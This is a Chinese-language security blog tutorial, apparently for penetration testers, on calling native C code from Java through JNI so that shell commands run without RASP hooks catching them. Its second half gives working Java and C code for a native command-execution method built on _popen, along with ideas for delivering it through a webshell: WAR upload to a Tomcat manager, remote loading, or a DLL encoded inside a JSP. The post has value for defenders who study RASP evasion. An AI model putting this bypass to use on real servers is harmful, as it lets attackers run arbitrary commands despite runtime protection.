Java安全之JNI绕过RASP

0x00 前言

前面一直想看该JNI的相关内容，但是发现JNI的资料还是偏少。后面发现JNI在安全中应用非常的微妙，有意思。

0x01 JNI概述

JNI的全称叫做（Java Native Interface），其作用就是让我们的Java程序去调用C的程序。实际上调用的并不是exe程序，而是编译好的dll动态链接库里面封装的方法。因为Java是基于C语言去实现的，Java底层很多也会去使用JNI。

在开发中运用到的也是比较多，比如在前面分析链的时候，追溯到一些底层实现代码的时候就可以看到一些方法是使用Native 来修饰的。这就说明他是一个c语言去实现的一个方法。

0x02 JNI实现

来看到下面这张图，该图是实现JNI编程的具体路线

这里我大致分为五步：

1. 定义一个native修饰的方法

2. 使用javah进行编译

3. 编写对应的c语言代码

4. 使用gcc编译成dll文件

5. 编写一个Java类使用System.loadLibrary方法，加载dll文件并且调用

按照步骤来实现一下

定义一个native修饰的方法

package com.test;

public class Command {

    public native int sum(int num1,int num2);

}

使用javah进行编译

首先使用javac编译成class文件

javac .\Command.java

然后使用javah生成c的头文件，切换到src目录下。后面发现其实可以不用编译成class文件。

JDK10移除了javah,需要改为javac加-h参数的方式生产头文件，命令：

javac -cp . .\Command.java -h com.test.Command

然后执行命令

javah -cp . com.test.Command

这里可以看到有个Java_com_test_Command_sum的字符，前面的Java是固定的前缀，后面是类名，最后面的是该类中定义的方法。

而括号里面的4个参数，第一个是JNI环境变量对象，第二个是Java调用的对象，这里是jclass也就是一个class文件。后面两个则是传入的参数并且是int类型的。

里面的内容是javah基于刚刚的java代码自动生成的，不要轻易更改。在编写c代码的时候，需要导入该头文件

编写对应的c语言代码

#include "com_test_Command.h"

JNIEXPORT jint JNICALL Java_com_test_Command_sum

  (JNIEnv *env, jobject obj, jint num1, jint num2){

  return num1+num2;

  }

  void main(){}

使用gcc编译成dll文件

gcc -I "c:\ProgramFiles\Java\jdk1.7.0_75\include"  -I "c:\Program Files\Java\jdk1.7.0_75\include\win32"

    --shared JniClass.c

-o 1.dll

需要指定jdk的include和win32文件

或者可以这么写

gcc -I"%JAVA_HOME%\include" -I"%JAVA_HOME%\include\win32" -shared -o cmd.dll com_anbai_sec_cmd_CommandExecution.c。

mac 编译：

g++ -fPIC -I"$JAVA_HOME/include" -I"$JAVA_HOME/include/darwin" -shared -o libcmd.jnilib com_anbai_sec_cmd_CommandExecution.cpp

linux编译：

g++ -fPIC -I"$JAVA_HOME/include" -I"$JAVA_HOME/include/linux" -shared -o libcmd.so com_anbai_sec_cmd_CommandExecution.cpp

g++是用来编译c++的，均可使用。代码如果是c++写的，就可以使用g++来编译成dll一样可以调用。

这里先来编译一下

gcc -I "D:\JAVA_JDK\include"  -I "D:\JAVA_JDK\include\win32" -shared -o cmd.dll .\Command.c

重新在IDEA里面打开项目，并编写代码

package com.test;

public class test {

    public static void main(String[] args) {

        System.loadLibrary("cmd");

        Command command = new Command();

        int sum = command.sum(1, 2);

        System.out.println(sum);

    }

}

运行查看结果，查看是否能正常运行

然而这里发现爆了个这样的错误，在64位数的平台不能去调用32位数的dll文件，貌似是使用到了32位的gcc进行编译导致调用报错

发现自己安装的是32位的gcc编译只能编译成32位的dll文件，后面来使用gcc 64 位的就可以了。

再次编译成gcc进行调用后，就可以进行执行。

到了这里，就已经是调用了封装好的dll动态链接库文件里面封装的方法了。

0x03 JNI 绕过RASP 执行命令

在RASP里其实是Hook掉了一些Runtime、ProcessBuilder 等类，但是Runtime.exec调用的是ProcessBuilder.start,ProcessBuilder.start的底层会调用ProcessImpl类。那么这时候只需要去Hook掉ProcessImpl就无法进行执行命令了。那么像这种基于堆栈调用去识别的该怎么去绕过呢？假设一个场景一个站点使用RASP，这时候如果上传一个webshell

那么这时候就会去用到NI去调用该dll文件就可以进行一个绕过，可以先来实现这么一个功能，后续还需要考虑到的是怎么将几个文件封装到一起，打包成一个jsp文件进行上传。

首先还是需要在IDEA里面先去实现功能，基于上面代码去做一个修改

Command类：

package com.test;

public class Command {

    public native String exec(String cmd);

}

编译成.h c语言的头文件,内容如下：

/* DO NOT EDIT THIS FILE - it is machine generated */

#include <jni.h>

/* Header for class com_test_Command */

#ifndef _Included_com_test_Command

#define _Included_com_test_Command

#ifdef __cplusplus

extern "C" {

#endif

JNIEXPORT jstring JNICALL Java_com_test_Command_exec

  (JNIEnv *, jobject, jstring);

#ifdef __cplusplus

}

#endif

#endif

编写命令执行的C语言代码，由于不会C ，该段代码是网上找的

#include "com_test_Command.h"

#include <string.h>

#include <stdio.h>

#include <sys/types.h>

#include <unistd.h>

#include <stdlib.h>

int execmd(const char *cmd, char *result)

{

    char buffer[1024*12];              //定义缓冲区

    FILE *pipe = _popen(cmd, "r"); //打开管道，并执行命令

    if (!pipe)

        return 0; //返回0表示运行失败

    while (!feof(pipe))

    {

        if (fgets(buffer, 128, pipe))

        { //将管道输出到result中

            strcat(result, buffer);

        }

    }

    _pclose(pipe); //关闭管道

    return 1;      //返回1表示运行成功

}

JNIEXPORT jstring JNICALL Java_com_test_Command_exec(JNIEnv *env, jobject class_object, jstring jstr)

{

    const char *cstr = (*env)->GetStringUTFChars(env, jstr, NULL);

    char result[1024 * 12] = ""; //定义存放结果的字符串数组

    if (1 == execmd(cstr, result))

    {

       // printf(result);

    }

    char return_messge[100] = "";

    strcat(return_messge, result);

    jstring cmdresult = (*env)->NewStringUTF(env, return_messge);

    //system();

    return cmdresult;

}

使用命令将2个文件编译成dll动态链接库

然后编写Java代码加载dll文件，调用C语言中封装的方法

package com.test;

public class test {

    public static void main(String[] args) {

        System.loadLibrary("cc");

        Command command = new Command();

        String ipconfig = command.exec("ipconfig");

        System.out.println(ipconfig);

    }

}

调用栈：

命令就执行成功了，这里不是调用一些自带的Runtime等方法，而是调用dll文件中封装的方法，能够去绕过一些RASP的拦截。

目前我的设想是由两种方式在现实场景中去进行一个使用，一个是将dll文件都打包成一个war包，在一些tomcat管理后台的位置上传后，自动进行解压释放该dll文件，然后使用jsp去调用该dll文件，从而使得可以绕过执行命令。或者是可以使用远程调用的方式，这样就可以不用上传dll文件了，这样做的目的是一般上传点之类的都不会允许dll文件进行上传。

还有一种方式是将dll文件编码后，内置到jsp中，执行的时候进行释放到当前文件目录下，进行调用。

参考文章

https://cloud.tencent.com/developer/article/1541566

https://javasec.org/javase/JNI/

吹爆花猫大哥的Javasec文章，在Javasec的JNI文中用到的是c++来进行一个代码实现，实际效果差不多。具体的在本文中就不做实现。Javasec中有现成代码。

0x04 结尾

其实这种方式还是有办法查杀到的，具体参考该篇文章：JNI编程怎么跟踪调试dll。